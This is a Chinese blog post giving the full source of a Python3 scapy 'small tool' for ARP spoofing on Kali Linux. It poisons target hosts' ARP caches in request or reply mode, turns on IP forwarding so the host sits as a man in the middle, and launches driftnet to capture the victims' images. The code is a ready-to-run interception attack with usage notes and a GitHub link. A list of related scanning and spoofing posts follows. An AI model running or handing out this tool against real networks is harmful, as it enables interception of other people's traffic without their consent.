Python3 小工具-ARP欺骗
在kali中使用
from scapy.all import *
import optparse
import os
def send(pkt,interface):
for p in pkt:
sendp(p,iface=interface)
def req(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
yield pkt
def rep(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
yield pkt
def main():
parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
parser.add_option('-s',dest='source',type='string',help='[+]Source host')
parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
(options,args)=parser.parse_args()
interface=options.interface
targets=str(options.targets).split(',')
source=options.source
mode=options.mode
transmit=options.transmit
if((targets[0]==None) or (source==None)):
print('[-]Please input targets and source')
exit(0)
if(transmit=='yes'):
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
os.system("gnome-terminal -- driftnet -i "+interface)
if(mode=='req'):
print('----------------')
try:
while True:
pkt=req(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished')
else:
print('-----------------')
try:
while True:
pkt=rep(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished!')
if __name__=='__main__':
main()
使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof
Python3 小工具-ARP欺骗的更多相关文章
- Python3 小工具-ARP扫描
from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...
- Cain工具ARP欺骗攻击
OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...
- python3 小工具
扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...
- ip地址查询python3小工具_V0.0.1
看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...
- Python3 小工具-UDP扫描
from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...
- Python3 小工具-僵尸扫描
僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...
- Python3 小工具-TCP半连接扫描
from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...
- Python3 小工具-UDP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...
- Python3 小工具-TCP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...
随机推荐
- java web中对json的使用
一.在Java Web的开发过程中,如果希望调用Java对象转化成JSON对象等操作.则需要引入以下jar包,不然运行时则报错. 1.commons-beanutils.jar 2.commons-c ...
- iOS之改变UIAlertViewController字体的颜色
NSString *message = @"请确认信息是否正确?"; NSString *title = @"提示"; UIAlertController *a ...
- tomcat启动startup.bat一闪而过【亲测有效】
遇到很多次运行startup.bat后,一个窗口一闪而过的问题,但是从来没去纠正怎样修改配置才是正确的,现在从网上查阅的资料整理如下:tomcat在启动时,会读取环境变量的信息,需要一个CATALIN ...
- linux下pip错误 ImportError: No module named 'pip_internal'
wget https://bootstrap.pypa.io/get-pip.py --no-check-certificate sudo python get-pip.py
- Web Services简单介绍
Web Services简单介绍 Web Services入门 一.Web Services简介 1.什么是Web Services? Web Services 是应用程序组件 Web Service ...
- 【转载】 旧版本Microsoft Office正在配置解决方法
原文:https://blog.csdn.net/sinat_37215184/article/details/81053931 在运行Microsoft Office 2010等旧版本的Office ...
- 【Flume】数据采集引擎Flume
一.概述 flume是一个高效的.可靠的.可用的分布式海量日志数据收集.聚合.传输的工具. Flume is a distributed, reliable, and available servic ...
- Jupyter Notebook的魔法
在腾讯云上搭建了一个Jupyter Notebook 还是很好用的, 这里总结了一些看到的小技巧及快捷键使得我们更加快捷的完成工作. Notebook 与 Vim 有些类似,有两种键盘输入模式,即命令 ...
- GeekOS: 一、构建基于Ubuntu9.04的实验环境
参考:http://www.cnblogs.com/wuchang/archive/2009/05/05/1450311.html 补充:在最后步骤中,执行bochs即可弹出运行窗口
- Java设计模式(16)——行为模式之模板方法模式(Template)
一.概念 概念 UML简图 角色 使用场景 其实我们常用得抽象类就是这个模式得运用,所以基本上属于比较好理解的一种模式. 二.实践 根据上述角色,给出相应代码 抽象模板 /** * 抽象模板 * * ...